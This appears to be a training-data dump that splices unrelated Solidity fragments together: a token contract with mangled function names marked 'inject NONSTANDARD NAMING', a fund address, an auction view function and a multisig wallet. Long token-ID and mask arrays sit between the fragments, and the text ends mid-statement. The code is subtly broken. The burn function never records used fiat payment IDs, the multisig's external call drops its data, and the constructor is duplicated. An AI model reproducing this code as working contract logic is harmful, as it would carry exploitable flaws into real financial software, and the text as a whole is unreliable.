deliberately authorized the sender of the message via some mechanism require(msg.sender == _from || _value <= allowance[_from][msg.sender] || (_from == address(this) && canTransferFromContract[msg.sender])); // check if _from account have required amount require(_value <= balanceOf[_from]); if (_to == address(this)) { // (!) only token holder can send tokens to smart contract to get fiat, not using allowance require(_from == msg.sender); } balanceOf[_from] = balanceOf[_from].SUB990(_value); balanceOf[_to] = balanceOf[_to].ADD799(_value); // If allowance used, change allowances correspondingly if (_from != msg.sender && _from != address(this)) { allowance[_from][msg.sender] = allowance[_from][msg.sender].SUB990(_value); } if (_to == address(this) && _value > 0) { require(_value >= minExchangeAmount); tokensInEventsCounter++; tokensInTransfer[tokensInEventsCounter].from = _from; tokensInTransfer[tokensInEventsCounter].value = _value; tokensInTransfer[tokensInEventsCounter].receivedOn = now; emit TOKENSIN207( _from, _value, tokensInEventsCounter ); } emit TRANSFER732(_from, _to, _value); return true; } function TRANSFERANDCALL810(address _to, uint256 _value, bytes memory _extraData) public returns (bool){ //inject NONSTANDARD NAMING tokenRecipient receiver = tokenRecipient(_to); if (TRANSFERFROM372(msg.sender, _to, _value)) { if (receiver.TOKENFALLBACK38(msg.sender, _value, _extraData)) { emit DATASENTTOANOTHERCONTRACT500(msg.sender, _to, _extraData); return true; } } return false; } // the same as above, but for all tokens on user account // for example for converting ALL tokens of user account to another tokens function TRANSFERALLANDCALL340(address _to, bytes memory _extraData) public returns (bool){ //inject NONSTANDARD NAMING return TRANSFERANDCALL810(_to, balanceOf[msg.sender], _extraData); } event ADMINADDED919(address indexed by, address indexed newAdmin);// //inject NONSTANDARD NAMING function ADDADMIN78(address _newAdmin) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); isAdmin[_newAdmin] = true; emit ADMINADDED919(msg.sender, _newAdmin); return true; } // event ADMINREMOVED602(address indexed by, address indexed _oldAdmin);// //inject NONSTANDARD NAMING function REMOVEADMIN899(address _oldAdmin) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); // prevents from deleting the last admin (can be multisig smart contract) by itself: require(msg.sender != _oldAdmin); isAdmin[_oldAdmin] = false; emit ADMINREMOVED602(msg.sender, _oldAdmin); return true; } uint256 minExchangeAmount = 12; // xEuro tokens event MINEXCHANGEAMOUNTCHANGED736 (address indexed by, uint256 from, uint256 to); // //inject NONSTANDARD NAMING function CHANGEMINEXCHANGEAMOUNT772(uint256 _minExchangeAmount) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); uint256 from = minExchangeAmount; minExchangeAmount = _minExchangeAmount; emit MINEXCHANGEAMOUNTCHANGED736(msg.sender, from, minExchangeAmount); return true; } event ADDRESSADDEDTOCANMINT339(address indexed by, address indexed newAddress); // //inject NONSTANDARD NAMING function ADDTOCANMINT826(address _newAddress) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); canMint[_newAddress] = true; emit ADDRESSADDEDTOCANMINT339(msg.sender, _newAddress); return true; }// event ADDRESSREMOVEDFROMCANMINT615(address indexed by, address indexed removedAddress);// //inject NONSTANDARD NAMING function REMOVEFROMCANMINT471(address _addressToRemove) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); canMint[_addressToRemove] = false; emit ADDRESSREMOVEDFROMCANMINT615(msg.sender, _addressToRemove); return true; } event ADDRESSADDEDTOCANTRANSFERFROMCONTRACT607(address indexed by, address indexed newAddress); // //inject NONSTANDARD NAMING function ADDTOCANTRANSFERFROMCONTRACT635(address _newAddress) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); canTransferFromContract[_newAddress] = true; emit ADDRESSADDEDTOCANTRANSFERFROMCONTRACT607(msg.sender, _newAddress); return true; }// event ADDRESSREMOVEDFROMCANTRANSFERFROMCONTRACT946(address indexed by, address indexed removedAddress);// //inject NONSTANDARD NAMING function REMOVEFROMCANTRANSFERFROMCONTRACT713(address _addressToRemove) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); canTransferFromContract[_addressToRemove] = false; emit ADDRESSREMOVEDFROMCANTRANSFERFROMCONTRACT946(msg.sender, _addressToRemove); return true; } event ADDRESSADDEDTOCANBURN693(address indexed by, address indexed newAddress); // //inject NONSTANDARD NAMING function ADDTOCANBURN261(address _newAddress) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); canBurn[_newAddress] = true; emit ADDRESSADDEDTOCANBURN693(msg.sender, _newAddress); return true; }// event ADDRESSREMOVEDFROMCANBURN83(address indexed by, address indexed removedAddress);// //inject NONSTANDARD NAMING function REMOVEFROMCANBURN127(address _addressToRemove) public returns (bool){ //inject NONSTANDARD NAMING require(isAdmin[msg.sender]); canBurn[_addressToRemove] = false; emit ADDRESSREMOVEDFROMCANBURN83(msg.sender, _addressToRemove); return true; } uint public mintTokensEventsCounter = 0;// struct MintTokensEvent { address mintedBy; // uint256 fiatInPaymentId; uint value; // uint on; // UnixTime uint currentTotalSupply; } // // keep all fiat tx ids, to prevent minting tokens twice (or more times) for the same fiat tx mapping(uint256 => bool) public fiatInPaymentIds; // here we can find a MintTokensEvent by fiatInPaymentId, // so we now if tokens were minted for given incoming fiat payment mapping(uint256 => MintTokensEvent) public fiatInPaymentsToMintTokensEvent; // here we store MintTokensEvent with its ordinal numbers mapping(uint256 => MintTokensEvent) public mintTokensEvent; // event TOKENSMINTED883( //inject NONSTANDARD NAMING address indexed by, uint256 indexed fiatInPaymentId, uint value, uint currentTotalSupply, uint indexed mintTokensEventsCounter ); // tokens should be minted to contracts own address, (!) after that tokens should be transferred using transferFrom function MINTTOKENS200(uint256 value, uint256 fiatInPaymentId) public returns (bool){ //inject NONSTANDARD NAMING require(canMint[msg.sender]); // require that this fiatInPaymentId was not used before: require(!fiatInPaymentIds[fiatInPaymentId]); require(value >= 0); // <<< this is the moment when new tokens appear in the system totalSupply = totalSupply.ADD799(value); // first token holder of fresh minted tokens is the contract itself balanceOf[address(this)] = balanceOf[address(this)].ADD799(value); mintTokensEventsCounter++; mintTokensEvent[mintTokensEventsCounter].mintedBy = msg.sender; mintTokensEvent[mintTokensEventsCounter].fiatInPaymentId = fiatInPaymentId; mintTokensEvent[mintTokensEventsCounter].value = value; mintTokensEvent[mintTokensEventsCounter].on = block.timestamp; mintTokensEvent[mintTokensEventsCounter].currentTotalSupply = totalSupply; // fiatInPaymentsToMintTokensEvent[fiatInPaymentId] = mintTokensEvent[mintTokensEventsCounter]; emit TOKENSMINTED883(msg.sender, fiatInPaymentId, value, totalSupply, mintTokensEventsCounter); fiatInPaymentIds[fiatInPaymentId] = true; return true; } // requires msg.sender be both 'canMint' and 'canTransferFromContract' function MINTANDTRANSFER453( //inject NONSTANDARD NAMING uint256 _value, uint256 fiatInPaymentId, address _to ) public returns (bool){ if (MINTTOKENS200(_value, fiatInPaymentId) && TRANSFERFROM372(address(this), _to, _value)) { return true; } return false; } uint public tokensInEventsCounter = 0;// struct TokensInTransfer {// <<< used in 'transfer' address from; // uint value; // uint receivedOn; // UnixTime } // mapping(uint256 => TokensInTransfer) public tokensInTransfer; // event TOKENSIN207( //inject NONSTANDARD NAMING address indexed from, uint256 value, uint256 indexed tokensInEventsCounter );// uint public burnTokensEventsCounter = 0;// struct burnTokensEvent { address by; // uint256 value; // uint256 tokensInEventId; uint256 fiatOutPaymentId; uint256 burnedOn; // UnixTime uint256 currentTotalSupply; } // mapping(uint => burnTokensEvent) public burnTokensEvents; // we count every fiat payment id used when burn tokens to prevent using it twice mapping(uint256 => bool) public fiatOutPaymentIdsUsed; // event TOKENSBURNED510( //inject NONSTANDARD NAMING address indexed by, uint256 value, uint256 indexed tokensInEventId, uint256 indexed fiatOutPaymentId, uint burnedOn, // UnixTime uint currentTotalSupply ); // (!) only contract's own tokens (balanceOf[this]) can be burned function BURNTOKENS469( //inject NONSTANDARD NAMING uint256 value, uint256 tokensInEventId, uint256 fiatOutPaymentId ) public returns (bool){ require(canBurn[msg.sender]); require(value >= 0); require(balanceOf[address(this)] >= value); // require(!tokensInEventIdsUsed[tokensInEventId]); require(!fiatOutPaymentIdsUsed[fiatOutPaymentId]); balanceOf[address(this)] = balanceOf[address(this)].SUB990(value); totalSupply = totalSupply.SUB990(value); burnTokensEventsCounter++; burnTokensEvents[burnTokensEventsCounter].by = msg.sender; burnTokensEvents[burnTokensEventsCounter].value = value; burnTokensEvents[burnTokensEventsCounter].tokensInEventId = tokensInEventId; burnTokensEvents[burnTokensEventsCounter].fiatOutPaymentId = fiatOutPaymentId; burnTokensEvents[burnTokensEventsCounter].burnedOn = block.timestamp; burnTokensEvents[burnTokensEventsCounter].currentTotalSupply = totalSupply; emit TOKENSBURNED510(msg.sender, value, tokensInEventId, fiatOutPaymentId, block.timestamp, totalSupply); fiatOutPaymentIdsUsed[fiatOutPaymentId]; return true; } }
inject NONSTANDARD NAMING
function ADDADMIN78(address _newAdmin) public returns (bool){
12,882,786
[ 1, 22170, 18708, 882, 18264, 423, 2192, 1360, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 11689, 15468, 8285, 12, 2867, 389, 2704, 4446, 13, 1071, 1135, 261, 6430, 15329, 202, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/3/0x5e5CB27d3da4aD3871D2cFca57A8277F6e83E650/sources/contracts/Frenchie_Inu.sol
FrenchieFundAddress
address payable public FrenchieINUFundAddress = payable(0x6dfbE450B9f3f7BeB1C7e7e1D40b1ED4B96AeB9a);
14,233,221
[ 1, 42, 1187, 17384, 42, 1074, 1887, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1758, 8843, 429, 1071, 478, 1187, 17384, 706, 57, 42, 1074, 1887, 273, 8843, 429, 12, 20, 92, 26, 2180, 70, 41, 24, 3361, 38, 29, 74, 23, 74, 27, 1919, 38, 21, 39, 27, 73, 27, 73, 21, 40, 7132, 70, 21, 2056, 24, 38, 10525, 37, 73, 38, 29, 69, 1769, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0xDaf6F80AD2AFdC45014c59bfE507ED728656D11B/sources/contracts/AuctionMarketplace.sol
* @dev Returns A 'Bid' Struct Array Corresponding To Input Indexes @param SaleIndex The Sale Index To View @param Indexes The Indexes To Return/
function ViewBidsAtIndexes(uint SaleIndex, uint[] calldata Indexes) public view returns(Bid[] memory) { Bid[] memory _Bids = new Bid[](Indexes.length); return _Bids; }
3,007,014
[ 1, 1356, 432, 296, 17763, 11, 7362, 1510, 9557, 17863, 310, 2974, 2741, 3340, 281, 225, 348, 5349, 1016, 1021, 348, 5349, 3340, 2974, 4441, 225, 3340, 281, 1021, 3340, 281, 2974, 2000, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 4441, 38, 2232, 861, 8639, 12, 11890, 348, 5349, 1016, 16, 2254, 8526, 745, 892, 3340, 281, 13, 1071, 1476, 1135, 12, 17763, 8526, 3778, 13, 7010, 565, 288, 203, 3639, 605, 350, 8526, 3778, 389, 38, 2232, 273, 394, 605, 350, 8526, 12, 8639, 18, 2469, 1769, 203, 3639, 327, 389, 38, 2232, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.5.0; /// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution. /// @author Stefan George - <[email protected]> contract MultiSigWallet { /* * Events */ event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); /* * Constants */ uint constant public MAX_OWNER_COUNT = 50; /* * Storage */ mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } /* * Modifiers */ modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != address(0)); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != address(0)); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } /// @dev Fallback function allows to deposit ether. function() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } /* * Public functions */ /// @dev Contract constructor sets initial owners and required number of confirmations. /// @param _owners List of initial owners. /// @param _required Number of required confirmations. constructor(address[] memory _owners, uint _required) public validRequirement(_owners.length, _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } /// @dev Allows to add a new owner. Transaction has to be sent by wallet. /// @param owner Address of new owner. function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } /// @dev Allows to remove an owner. Transaction has to be sent by wallet. /// @param owner Address of owner. function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit OwnerRemoval(owner); } /// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet. /// @param owner Address of owner to be replaced. /// @param newOwner Address of new owner. function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) { for (uint i=0; i<owners.length; i++) if (owners[i] == owner) { owners[i] = newOwner; break; } isOwner[owner] = false; isOwner[newOwner] = true; emit OwnerRemoval(owner); emit OwnerAddition(newOwner); } /// @dev Allows to change the number of required confirmations. Transaction has to be sent by wallet. /// @param _required Number of required confirmations. function changeRequirement(uint _required) public onlyWallet validRequirement(owners.length, _required) { required = _required; emit RequirementChange(_required); } /// @dev Allows an owner to submit and confirm a transaction. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function submitTransaction(address destination, uint value, bytes memory data) public returns (uint transactionId) { transactionId = addTransaction(destination, value, data); confirmTransaction(transactionId); } /// @dev Allows an owner to confirm a transaction. /// @param transactionId Transaction ID. function confirmTransaction(uint transactionId) public ownerExists(msg.sender) transactionExists(transactionId) notConfirmed(transactionId, msg.sender) { confirmations[transactionId][msg.sender] = true; emit Confirmation(msg.sender, transactionId); executeTransaction(transactionId); } /// @dev Allows an owner to revoke a confirmation for a transaction. /// @param transactionId Transaction ID. function revokeConfirmation(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { confirmations[transactionId][msg.sender] = false; emit Revocation(msg.sender, transactionId); } /// @dev Allows anyone to execute a confirmed transaction. /// @param transactionId Transaction ID. function executeTransaction(uint transactionId) public ownerExists(msg.sender) confirmed(transactionId, msg.sender) notExecuted(transactionId) { if (isConfirmed(transactionId)) { Transaction storage txn = transactions[transactionId]; txn.executed = true; if (external_call(txn.destination, txn.value, txn.data.length, txn.data)) emit Execution(transactionId); else { emit ExecutionFailure(transactionId); txn.executed = false; } } } // call has been separated into its own function in order to take advantage // of the Solidity's code generator to produce a loop that copies tx.data into memory. function external_call(address destination, uint value, uint dataLength, bytes memory data) internal returns (bool) { //bool result = __VERIFIER_nondet_int(); bool result; bytes memory _data; (result, _data) = destination.call.value(value)(""); /*assembly { let x := mload(0x40) // "Allocate" memory for output (0x40 is where "free memory" pointer is stored by convention) let d := add(data, 32) // First 32 bytes are the padded length of data, so exclude that result := call( sub(gas, 34710), // 34710 is the value that solidity is currently emitting // It includes callGas (700) + callVeryLow (3, to pay for SUB) + callValueTransferGas (9000) + // callNewAccountGas (25000, in case the destination address does not exist and needs creating) destination, value, d, dataLength, // Size of the input (in bytes) - this is what fixes the padding problem x, 0 // Output is ignored, therefore the output size is zero ) }*/ return result; } /// @dev Returns the confirmation status of a transaction. /// @param transactionId Transaction ID. /// @return Confirmation status. function isConfirmed(uint transactionId) public view returns (bool) { uint count = 0; for (uint i=0; i<owners.length; i++) { if (confirmations[transactionId][owners[i]]) count += 1; if (count == required) return true; } } /* * Internal functions */ /// @dev Adds a new transaction to the transaction mapping, if transaction does not exist yet. /// @param destination Transaction target address. /// @param value Transaction ether value. /// @param data Transaction data payload. /// @return Returns transaction ID. function addTransaction(address destination, uint value, bytes memory data) internal notNull(destination) returns (uint transactionId) { transactionId = transactionCount; transactions[transactionId] = Transaction({ destination: destination, value: value, data: data, executed: false }); transactionCount += 1; emit Submission(transactionId); } /* * Web3 call functions */ /// @dev Returns number of confirmations of a transaction. /// @param transactionId Transaction ID. /// @return Number of confirmations. function getConfirmationCount(uint transactionId) public view returns (uint count) { for (uint i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) count += 1; } /// @dev Returns total number of transactions after filers are applied. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Total number of transactions after filters are applied. function getTransactionCount(bool pending, bool executed) public view returns (uint count) { for (uint i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) count += 1; } /// @dev Returns list of owners. /// @return List of owner addresses. function getOwners() public view returns (address[] memory) { return owners; } /// @dev Returns array with owner addresses, which confirmed transaction. /// @param transactionId Transaction ID. /// @return Returns array of owner addresses. function getConfirmations(uint transactionId) public view returns (address[] memory _confirmations) { address[] memory confirmationsTemp = new address[](owners.length); uint count = 0; uint i; for (i=0; i<owners.length; i++) if (confirmations[transactionId][owners[i]]) { confirmationsTemp[count] = owners[i]; count += 1; } _confirmations = new address[](count); for (i=0; i<count; i++) _confirmations[i] = confirmationsTemp[i]; } /// @dev Returns list of transaction IDs in defined range. /// @param from Index start position of transaction array. /// @param to Index end position of transaction array. /// @param pending Include pending transactions. /// @param executed Include executed transactions. /// @return Returns array of transaction IDs. function getTransactionIds(uint from, uint to, bool pending, bool executed) public view returns (uint[] memory _transactionIds) { uint[] memory transactionIdsTemp = new uint[](transactionCount); uint count = 0; uint i; for (i=0; i<transactionCount; i++) if ( pending && !transactions[i].executed || executed && transactions[i].executed) { transactionIdsTemp[count] = i; count += 1; } _transactionIds = new uint[](to - from); for (i=from; i<to; i++) _transactionIds[i - from] = transactionIdsTemp[i]; } function hasExecuted(uint transactionId) public view returns (bool) { return transactions[transactionId].executed; } function getDestination(uint transactionId) public view returns (address) { return transactions[transactionId].destination; } function isAOwner(address addr) public view returns (bool) { return isOwner[addr]; } }
@title Multisignature wallet - Allows multiple parties to agree on transactions before execution. @author Stefan George - <[email protected]>
contract MultiSigWallet { event Confirmation(address indexed sender, uint indexed transactionId); event Revocation(address indexed sender, uint indexed transactionId); event Submission(uint indexed transactionId); event Execution(uint indexed transactionId); event ExecutionFailure(uint indexed transactionId); event Deposit(address indexed sender, uint value); event OwnerAddition(address indexed owner); event OwnerRemoval(address indexed owner); event RequirementChange(uint required); uint constant public MAX_OWNER_COUNT = 50; mapping (uint => Transaction) public transactions; mapping (uint => mapping (address => bool)) public confirmations; mapping (address => bool) public isOwner; address[] public owners; uint public required; uint public transactionCount; struct Transaction { address destination; uint value; bytes data; bool executed; } modifier onlyWallet() { require(msg.sender == address(this)); _; } modifier ownerDoesNotExist(address owner) { require(!isOwner[owner]); _; } modifier ownerExists(address owner) { require(isOwner[owner]); _; } modifier transactionExists(uint transactionId) { require(transactions[transactionId].destination != address(0)); _; } modifier confirmed(uint transactionId, address owner) { require(confirmations[transactionId][owner]); _; } modifier notConfirmed(uint transactionId, address owner) { require(!confirmations[transactionId][owner]); _; } modifier notExecuted(uint transactionId) { require(!transactions[transactionId].executed); _; } modifier notNull(address _address) { require(_address != address(0)); _; } modifier validRequirement(uint ownerCount, uint _required) { require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0); _; } function() external payable { if (msg.value > 0) emit Deposit(msg.sender, msg.value); } public validRequirement(_owners.length, _required) constructor(address[] memory _owners, uint _required) { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } { for (uint i=0; i<_owners.length; i++) { require(!isOwner[_owners[i]] && _owners[i] != address(0)); isOwner[_owners[i]] = true; } owners = _owners; required = _required; } function addOwner(address owner) public onlyWallet ownerDoesNotExist(owner) notNull(owner) validRequirement(owners.length + 1, required) { isOwner[owner] = true; owners.push(owner); emit OwnerAddition(owner); } function removeOwner(address owner) public onlyWallet ownerExists(owner) { isOwner[owner] = false; for (uint i=0; i<owners.length - 1; i++) if (owners[i] == owner) { owners[i] = owners[owners.length - 1]; break; } owners.length -= 1; if (required > owners.length) changeRequirement(owners.length); emit 